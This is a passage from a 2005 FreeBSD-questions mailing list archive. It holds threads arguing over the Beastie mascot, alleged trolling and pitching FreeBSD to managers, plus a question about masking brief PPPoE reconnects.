>>> subject both provocative and right on the money. >> >> Jerry and Eric were not talking about Anthony and his views on the >> logo >> issue when they wrote that. They were talking about his trolling >> posts >> about the codebase and its legality and demanding an answer in this >> forum instead of going to the people who could best answer him. >> >> I agree that Anthony is spot on with regards the logo. >> >> Chad >> > Jerry and Eric did not include any of Anthony's post with the above > comment. They tagged him as a troll or worse they put him in with > TM-whatever. no, but they came after it (the codebase blabber) started, and not before, and long after Anthony had stopped posting about anything else. The context was clear (and has been confirmed by Eric at least). > > As far as the codebase question, he was not the one to bring it up. If > I > can read between his lines, I understand that when you go in front of > the suits you can't tell them RTFM. You have to explain why FreeBSD is > head and shoulders above the leader of the pack. No one told him to tell his suits to RTFM. We told him to RTFM because he was asking a question that was not applicable to the forum, and expecting others to do his grunt work of researching it. look at the List Summary for freebsd-questions. It is not a forum for legal questions, but for technical support and user questions (ie, questions that users may have on using FreeBSD) > > The Suits hold the purse strings. They read the newspaper. They see the > advertisements. They hear the hype. They say, "We were thinking of an > MS > solution. Why would we use FreeBSD? What is wrong with Linux as an > alternative". > > Anthony's legal questions were a normal continuation of the flow of > this > thread. The question is not bad. It is the insistence that this forum, freebsd-questions mail list, is the place to get it and if he doesn't get an answer then the project is doomed. We were not condemning the question itself -- just the place and manner in which it was placed and the asinine conclusions drawn, ie, the project was doomed if this mail list could not come up with an answer -- an answer that he could search out as well as anyone else here. > > I stand by my statement. I happen to find Anthony's views on this > subject both provocative and right on the money. you can stand anywhere you want, thanks. Doesn't make it right. Chad > > Robert > > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 03:27:33 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1295716A4CE for ; Sat, 12 Feb 2005 03:27:33 +0000 (GMT) Received: from ms-smtp-01-eri0.socal.rr.com (ms-smtp-01-qfe0.socal.rr.com [66.75.162.133]) by mx1.FreeBSD.org (Postfix) with ESMTP id CE98143D2D for ; Sat, 12 Feb 2005 03:27:32 +0000 (GMT) (envelope-from hoe-waa@hawaii.rr.com) Received: from localhost.localdomain (cpe-66-8-191-104.hawaii.rr.com [66.8.191.104])j1C3RSkM004762; Fri, 11 Feb 2005 19:27:29 -0800 (PST) From: Robert Marella To: Jerry McAllister In-Reply-To: <200502120155.j1C1t6801703@clunix.cl.msu.edu> References: <200502120155.j1C1t6801703@clunix.cl.msu.edu> Content-Type: text/plain Date: Fri, 11 Feb 2005 17:30:44 -1000 Message-Id: <1108179044.46376.25.camel@p4> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 FreeBSD GNOME Team Port Content-Transfer-Encoding: 7bit X-Virus-Scanned: Symantec AntiVirus Scan Engine cc: kjelderg@gmail.com cc: freebsd-questions@freebsd.org Subject: Re: Please don't change Beastie to another crap logo such as X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 03:27:33 -0000 On Fri, 2005-02-11 at 20:55 -0500, Jerry McAllister wrote: > > > > On Fri, 2005-02-11 at 18:25 -0500, Jerry McAllister wrote: > > > > > > > > athony atkielski =~ /tm452\d/ ? > > > > > > I was beginning to suspect some such. > > > Maybe worse. > > > > > > ////jerry > > > > > Jerry and Eric > > > > If I can remember correctly, I have received help from both of you on > > some of my previous posts. I thank you and I always enjoy reading your > > view points. > > > > This post is no exception but I happen to find Anthony's views on this > > subject both provocative and right on the money. > > > > We have all run into a problem with a printer, NIC, scanner that is "not > > supported" by FreeBSD because the vendor will not release the drivers or > > code needed to build a driver. > > > > The vendor could care less if our mascot is a daemon or Mount Fujiyama. > > The vendor looks at the bottom line. How much engineer/programmer time > > will it take and can I recover the investment. The vendor looks at the > > number of installed systems and the competition for his product and > > makes a _business_ decision. > > > > Anthony's point, and I agree, is that everything will grow when our OS > > is taken for its strengths. It is difficult to get to the point of our > > strengths when the Suits see a representation of what they perceive as; > > childish or anti-christ or cartoonish whether justified or not. First > > impressions are important. > > Well, I hope I am helpful, at least some of the time. It seems > to run about 50-50 that I am near the topic and am way out of touch. You are too modest. I always find your answers concise and correct. > > But, on this, the comment is not because of the specific opinion, but > rather the tenor of the posts which seem to have begun drifting in the > direction of having the look and feel of some from a recent very thoroughly > unpopular but active troll. I respectfully disagree. I have found my frontal lobes being stimulated from the drift of Anthony's posts. These subjects (legal and others) may not be on topic for this thread but it seems to me to be a natural progression. > > The objectionable sign is the tendancy to not just post an opinion and > let others have theirs, but to repeatedly pound on the same thread, often > drifting far from the thread, with successive posts escalating the > virulence of the rhetoric until there is no semblence of exchange left, > just a bunch of who can shout the loudest. He is not the only one. At least I have not seen him insult other posters. > > In a posting storm from only a few days ago, it was noted that this > goes beyond even the typical troll, and may need some other creature > to characterize the identity - maybe a cockatrice or something. > > Anyway, in the way of the old folk story, it looks like, feels like, > smells like, tastes like - sure glad I didn't step in it. > > > As for the beastie mascot, it's cute. It is not likely to go away, just > because someone designs some letterhead logo. I wear my beastie T-shirt to > church for band practice or kids club now and then with no comment from > anyone. The kids wear much more offensive stuff frequently. > > But, if FreeBSD needs a logo now, maybe for letterhead, etc, who cares. > Make a nice logo that includes a bit of the trident peeking above the name > and a bit of pointy tail curling up under it - just as a teaser and reminder. > Please do a nice job, though. Some of the logos out there in marketing > land really are junk - either butt ugly or totally unrecognizable as anything. > > I doubt that making an official logo to go along with the variations of > the mascot will interfere with my putting Beastie FreeBSD stickers on our > machines or hanging a printout of Beastie on the office door, or replacing > my T-shirt when it wears out. > > ////jerry As always, I look forward to your future posts. Robert From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 03:28:44 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7EADE16A4CE; Sat, 12 Feb 2005 03:28:44 +0000 (GMT) Received: from ms-smtp-02-eri0.socal.rr.com (ms-smtp-02-qfe0.socal.rr.com [66.75.162.134]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3725B43D2F; Sat, 12 Feb 2005 03:28:44 +0000 (GMT) (envelope-from hoe-waa@hawaii.rr.com) Received: from localhost.localdomain (cpe-66-8-191-104.hawaii.rr.com [66.8.191.104])j1C3Se6V003768; Fri, 11 Feb 2005 19:28:41 -0800 (PST) From: Robert Marella To: Matthias Buelow In-Reply-To: <420D669A.20000@incubus.de> References: <9C4E897FB284BF4DBC9C0DC42FB34617641AE6@mvaexch01.acuson.com> <420D669A.20000@incubus.de> Content-Type: text/plain Date: Fri, 11 Feb 2005 17:32:00 -1000 Message-Id: <1108179120.46376.27.camel@p4> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 FreeBSD GNOME Team Port Content-Transfer-Encoding: 7bit X-Virus-Scanned: Symantec AntiVirus Scan Engine cc: Johnson David cc: freebsd-advocacy@freebsd.org cc: "'freebsd-questions@freebsd.org'" Subject: Re: SPAM: Score 3.3: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 03:28:44 -0000 On Sat, 2005-02-12 at 03:14 +0100, Matthias Buelow wrote: > Johnson David wrote: > > > Currently Windows rules the desktop world, even for diehard Unix shops. But > > that will not last forever. We need to start thinking about the desktop > > today. We need to stop the official discouragement of desktop FreeBSD. > > MacOS X is the "Desktop BSD". It is available today, and it works > better than anything else at being a "desktop". Does it work on my intel hardware? Robert From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 03:30:51 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3BCCB16A4CE; Sat, 12 Feb 2005 03:30:51 +0000 (GMT) Received: from hobbiton.shire.net (hobbiton.shire.net [166.70.252.250]) by mx1.FreeBSD.org (Postfix) with ESMTP id 18B2443D1D; Sat, 12 Feb 2005 03:30:51 +0000 (GMT) (envelope-from chad@shire.net) Received: from [67.161.222.227] (helo=[192.168.99.68]) by hobbiton.shire.net with esmtpsa (TLSv1:RC4-SHA:128) (Exim 4.43) id 1Cznze-000DPy-Of; Fri, 11 Feb 2005 20:30:50 -0700 In-Reply-To: <1108179120.46376.27.camel@p4> References: <9C4E897FB284BF4DBC9C0DC42FB34617641AE6@mvaexch01.acuson.com> <420D669A.20000@incubus.de> <1108179120.46376.27.camel@p4> Mime-Version: 1.0 (Apple Message framework v619) Message-Id: <7D9CA83A-7CA6-11D9-B134-000D933E3CEC@shire.net> From: Chad Leigh -- Shire.Net LLC Date: Fri, 11 Feb 2005 20:30:49 -0700 To: Robert Marella X-Mailer: Apple Mail (2.619) X-SA-Exim-Connect-IP: 67.161.222.227 X-SA-Exim-Mail-From: chad@shire.net Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 3.0.0 (2004-09-13) on hobbiton.shire.net X-Spam-Status: No, score=-0.1 required=5.0 tests=AWL,BAYES_50 autolearn=disabled version=3.0.0 X-Spam-Level: X-SA-Exim-Version: 4.1+cvs (built Mon, 23 Aug 2004 08:44:05 -0700) X-SA-Exim-Scanned: Yes (on hobbiton.shire.net) cc: freebsd-advocacy@freebsd.org cc: freebsd-questions@freebsd.org cc: 'freebsd-questions@freebsd.org' Subject: Re: SPAM: Score 3.3: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 03:30:51 -0000 On Feb 11, 2005, at 8:32 PM, Robert Marella wrote: > On Sat, 2005-02-12 at 03:14 +0100, Matthias Buelow wrote: >> Johnson David wrote: >> >>> Currently Windows rules the desktop world, even for diehard Unix >>> shops. But >>> that will not last forever. We need to start thinking about the >>> desktop >>> today. We need to stop the official discouragement of desktop >>> FreeBSD. >> >> MacOS X is the "Desktop BSD". It is available today, and it works >> better than anything else at being a "desktop". > > Does it work on my intel hardware? Not in public it doesn't. That is irrelevant to the discussion. FreeBSD does not work on my PPC HW either. Chad From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 03:34:14 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EA98516A4CE; Sat, 12 Feb 2005 03:34:14 +0000 (GMT) Received: from luzifer.incubus.de (incubus.de [80.237.207.83]) by mx1.FreeBSD.org (Postfix) with ESMTP id AB90A43D45; Sat, 12 Feb 2005 03:34:14 +0000 (GMT) (envelope-from mkb@incubus.de) Received: from [192.168.2.10] (pD95429AD.dip.t-dialin.net [217.84.41.173]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by luzifer.incubus.de (Postfix) with ESMTP id 4A32E31FBC; Sat, 12 Feb 2005 04:34:07 +0100 (CET) Message-ID: <420D7939.6000909@incubus.de> Date: Sat, 12 Feb 2005 04:34:17 +0100 From: Matthias Buelow User-Agent: Mozilla Thunderbird 0.9 (X11/20041124) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Robert Marella References: <9C4E897FB284BF4DBC9C0DC42FB34617641AE6@mvaexch01.acuson.com> <420D669A.20000@incubus.de> <1108179120.46376.27.camel@p4> In-Reply-To: <1108179120.46376.27.camel@p4> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit cc: Johnson David cc: freebsd-advocacy@freebsd.org cc: "'freebsd-questions@freebsd.org'" Subject: Re: SPAM: Score 3.3: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 03:34:15 -0000 Robert Marella wrote: >>MacOS X is the "Desktop BSD". It is available today, and it works >>better than anything else at being a "desktop". > Does it work on my intel hardware? And your point is..? mkb. From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 03:44:27 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 233CD16A4CE for ; Sat, 12 Feb 2005 03:44:27 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id A287143D39 for ; Sat, 12 Feb 2005 03:44:26 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1107.wanadoo.fr (SMTP Server) with ESMTP id 8CA6D1C0008B for ; Sat, 12 Feb 2005 04:44:25 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1107.wanadoo.fr (SMTP Server) with ESMTP id 658191C00086 for ; Sat, 12 Feb 2005 04:44:25 +0100 (CET) X-ME-UUID: 20050212034425415.658191C00086@mwinf1107.wanadoo.fr Date: Sat, 12 Feb 2005 04:44:25 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <583702950.20050212044425@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <1108178253.46376.11.camel@p4> References: <200502112325.j1BNPw201164@clunix.cl.msu.edu> <1108168477.45718.19.camel@p4><1108178253.46376.11.camel@p4> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo such as X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 03:44:27 -0000 Robert Marella writes: > As far as the codebase question, he was not the one to bring it up. If > I can read between his lines, I understand that when you go in front > of the suits you can't tell them RTFM. You have to explain why FreeBSD > is head and shoulders above the leader of the pack. Yes. Things to remember if you must present FreeBSD to "suits" (not an exhaustive list): - You must provide sound arguments and/or hard data to support your suggestions. "FreeBSD is just great!" will not do. - You must provide costs. "It's free" won't do. Nothing is ever free. If you don't have costs, either you aren't being serious, or you haven't done your homework. - You cannot killfile anyone who asks questions that you don't like. - Calling the suits stupid because they refuse to unconditionally agree with you guarantees failure. Do not throw tantrums. - You must be confident, but not arrogant. Stick to your guns when you are discussing something that you know to be objectively true, but do not argue about opinions. - You must know exactly what point you wish to make to the suits, and you must stick to it. A long discussion of how much you love Beastie will not impress. - You need to leave documentation with them, including a copy of your presentation. - You need to explain how they will obtain support when something goes wrong. "Nothing ever goes wrong!" will not work. - You need to explain how FreeBSD will fit in with their IT strategy. It's up to you to research this; it is not up to them to figure it out. - Don't knock the competition unless you can objectively back up what you say (even then, be judicious). - Be prepared to address legal issues, such as licensing, patents, and copyrights. - If you say "If you don't like it this way, go somewhere else," they will. > The Suits hold the purse strings. They read the newspaper. They see the > advertisements. They hear the hype. They say, "We were thinking of an MS > solution. Why would we use FreeBSD? What is wrong with Linux as an > alternative". Yes. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 03:48:18 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 19A3016A4CE for ; Sat, 12 Feb 2005 03:48:18 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id D0A1343D2F for ; Sat, 12 Feb 2005 03:48:17 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id 15F071C00089 for ; Sat, 12 Feb 2005 04:48:17 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id F05271C00085 for ; Sat, 12 Feb 2005 04:48:16 +0100 (CET) X-ME-UUID: 20050212034816984.F05271C00085@mwinf1104.wanadoo.fr Date: Sat, 12 Feb 2005 04:48:16 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <16410247736.20050212044816@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <1108179120.46376.27.camel@p4> References: <9C4E897FB284BF4DBC9C0DC42FB34617641AE6@mvaexch01.acuson.com> <420D669A.20000@incubus.de> <1108179120.46376.27.camel@p4> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: SPAM: Score 3.3: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 03:48:18 -0000 Robert Marella writes: > Does it work on my intel hardware? Two basic responses, one right, one wrong: Wrong: "Of course it does, you idiot! Don't you know anything about hardware?" Right: "FreeBSD easily supports the full range of Intel microprocessors and virtually all Intel motherboards and chipsets, directly out of the box. It also takes advantage of most Intel-specific hardware enhancements where applicable, for better performance." -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 03:49:48 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 772D716A4CE for ; Sat, 12 Feb 2005 03:49:48 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 376D143D48 for ; Sat, 12 Feb 2005 03:49:48 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1102.wanadoo.fr (SMTP Server) with ESMTP id 716811C0008C for ; Sat, 12 Feb 2005 04:49:47 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1102.wanadoo.fr (SMTP Server) with ESMTP id 58FBB1C0008A for ; Sat, 12 Feb 2005 04:49:47 +0100 (CET) X-ME-UUID: 20050212034947364.58FBB1C0008A@mwinf1102.wanadoo.fr Date: Sat, 12 Feb 2005 04:49:47 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <188212807.20050212044947@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <7D9CA83A-7CA6-11D9-B134-000D933E3CEC@shire.net> References: <9C4E897FB284BF4DBC9C0DC42FB34617641AE6@mvaexch01.acuson.com> <420D669A.20000@incubus.de> <1108179120.46376.27.camel@p4> <7D9CA83A-7CA6-11D9-B134-000D933E3CEC@shire.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: SPAM: Score 3.3: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 03:49:48 -0000 Chad Leigh -- Shire.Net LLC writes: > Not in public it doesn't. That is irrelevant to the discussion. > FreeBSD does not work on my PPC HW either. Score: 12 out of 100. The meeting is over, and a security guard will show you the door. Try again. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 03:50:31 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id AC04616A4CE for ; Sat, 12 Feb 2005 03:50:31 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6F9B343D45 for ; Sat, 12 Feb 2005 03:50:31 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1108.wanadoo.fr (SMTP Server) with ESMTP id A9C6F1C00088 for ; Sat, 12 Feb 2005 04:50:30 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1108.wanadoo.fr (SMTP Server) with ESMTP id 92D6E1C00087 for ; Sat, 12 Feb 2005 04:50:30 +0100 (CET) X-ME-UUID: 20050212035030601.92D6E1C00087@mwinf1108.wanadoo.fr Date: Sat, 12 Feb 2005 04:50:28 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <54120611.20050212045028@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <420D7939.6000909@incubus.de> References: <9C4E897FB284BF4DBC9C0DC42FB34617641AE6@mvaexch01.acuson.com> <420D669A.20000@incubus.de> <1108179120.46376.27.camel@p4> <420D7939.6000909@incubus.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: SPAM: Score 3.3: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 03:50:31 -0000 Matthias Buelow writes: > And your point is..? I can see that FreeBSD marketing has a long way to go. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 03:58:13 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4BBA216A4CE; Sat, 12 Feb 2005 03:58:13 +0000 (GMT) Received: from ms-smtp-03-eri0.socal.rr.com (ms-smtp-03-qfe0.socal.rr.com [66.75.162.135]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0692943D45; Sat, 12 Feb 2005 03:58:13 +0000 (GMT) (envelope-from hoe-waa@hawaii.rr.com) Received: from localhost.localdomain (cpe-66-8-191-104.hawaii.rr.com [66.8.191.104])j1C3w9uY003534; Fri, 11 Feb 2005 19:58:09 -0800 (PST) From: Robert Marella To: Matthias Buelow In-Reply-To: <420D7939.6000909@incubus.de> References: <9C4E897FB284BF4DBC9C0DC42FB34617641AE6@mvaexch01.acuson.com> <420D669A.20000@incubus.de> <1108179120.46376.27.camel@p4> <420D7939.6000909@incubus.de> Content-Type: text/plain Date: Fri, 11 Feb 2005 18:01:26 -1000 Message-Id: <1108180886.46376.41.camel@p4> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 FreeBSD GNOME Team Port Content-Transfer-Encoding: 7bit X-Virus-Scanned: Symantec AntiVirus Scan Engine cc: Johnson David cc: freebsd-advocacy@freebsd.org cc: "'freebsd-questions@freebsd.org'" Subject: Re: SPAM: Score 3.3: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 03:58:13 -0000 On Sat, 2005-02-12 at 04:34 +0100, Matthias Buelow wrote: > Robert Marella wrote: > > >>MacOS X is the "Desktop BSD". It is available today, and it works > >>better than anything else at being a "desktop". > > Does it work on my intel hardware? > > And your point is..? > > mkb. Market share! What percentage of the desktops are intel/AMD based? If MacOS X is _THE_ Desktop BSD, can it be ported/converted to the majority of the installed desktops? If not, can someone/some_company/some_group do to intel/AMD desktops what Apple did to MacOS X? I know the driving force of FreeBSD is toward servers. Apple was able to make it a desktop OS. I like it as a desktop OS on my intel hardware but I have a lot of time to spend. Even with the time, I still can't get everything to work as I would like. If it was a better desktop OS more people would notice it and would recognize the name FreeBSD. When I tell most people that I do not use MS Windows, I get a blank look and then they ask what I do use. I usually say I use a form of UNIX called FreeBSD. The first thing out of their mouth is, "Oh, Linux!". I then go on to tell them about FreeBSD as their eyes glaze over. That's my point! Robert From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 03:58:32 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7A65716A4CE for ; Sat, 12 Feb 2005 03:58:32 +0000 (GMT) Received: from mx2.mail.ru (mx2.mail.ru [194.67.23.122]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2732F43D53 for ; Sat, 12 Feb 2005 03:58:32 +0000 (GMT) (envelope-from infofarmer@mail.ru) Received: from [83.237.61.33] (port=1337 helo=[172.17.0.69]) by mx2.mail.ru with esmtp id 1CzoQQ-000AfK-00 for freebsd-questions@freebsd.org; Sat, 12 Feb 2005 06:58:30 +0300 Message-ID: <420D7EE3.5000305@mail.ru> Date: Sat, 12 Feb 2005 06:58:27 +0300 From: "Andrew P." User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: FreeBSD-Questions Content-Type: text/plain; charset=windows-1251; format=flowed Content-Transfer-Encoding: 7bit X-Spam: Not detected Subject: Concealing short disconnects X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: infofarmer@mail.ru List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 03:58:32 -0000 Hello guys! I have a few machines behind my FreeBSD box. The box connects to ISP via ppp (PPPoE protocol). It's all working very nicely, but the ISP is a pain - it disconnects every 24 hours. I can reconnect in just a moment - so the diconnect is usually less than a second long, but many applications, like ICQ/MSN and games "feel" the disconnect. The matter is that these applications can handle fairly large packet loss (e.g. Counter-Strike can cope with at least 15-second long 100% packet loss), but AFAIK it's in the nature of the TCP/UDP that a disconnect is a disconnect. As I know that FreeBSD is full of magic, is there any way to conceal these reconnects as short moments of 100% packet loss? I am ashamed to know very little about protocols' technicalities, but I'll look into any sources you advise. Best wishes, Andrew P. From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 04:03:28 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 94BF016A4CE for ; Sat, 12 Feb 2005 04:03:28 +0000 (GMT) Received: from dan.emsphone.com (dan.emsphone.com [199.67.51.101]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3CD3243D39 for ; Sat, 12 Feb 2005 04:03:28 +0000 (GMT) (envelope-from dan@dan.emsphone.com) Received: (from dan@localhost) by dan.emsphone.com (8.13.1/8.13.1) id j1C43RC2086255; Fri, 11 Feb 2005 22:03:27 -0600 (CST) (envelope-from dan) Date: Fri, 11 Feb 2005 22:03:27 -0600 From: Dan Nelson To: "Andrew P." Message-ID: <20050212040327.GA49626@dan.emsphone.com> References: <420D7EE3.5000305@mail.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <420D7EE3.5000305@mail.ru> X-OS: FreeBSD 5.3-STABLE X-message-flag: Outlook Error User-Agent: Mutt/1.5.7i cc: FreeBSD-Questions Subject: Re: Concealing short disconnects X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 04:03:28 -0000 In the last episode (Feb 12), Andrew P. said: > I have a few machines behind my FreeBSD box. The box connects to ISP > via ppp (PPPoE protocol). It's all working very nicely, but the ISP > is a pain - it disconnects every 24 hours. I can reconnect in just a > moment - so the diconnect is usually less than a second long, but > many applications, like ICQ/MSN and games "feel" the disconnect. The > matter is that these applications can handle fairly large packet loss > (e.g. Counter-Strike can cope with at least 15-second long 100% > packet loss), but AFAIK it's in the nature of the TCP/UDP that a > disconnect is a disconnect. > > As I know that FreeBSD is full of magic, is there any way to > conceal these reconnects as short moments of 100% packet loss? > I am ashamed to know very little about protocols' technicalities, > but I'll look into any sources you advise. Check to see if your IP number changes when you reconnect. If it does, there's nothing you really can do; the remote system you were talking to knew you only by your old IP, and those packets coming to them from this other IP are unrelated. -- Dan Nelson dnelson@allantgroup.com From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 04:09:31 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D2FAB16A4CE for ; Sat, 12 Feb 2005 04:09:31 +0000 (GMT) Received: from mx2.mail.ru (mx2.mail.ru [194.67.23.122]) by 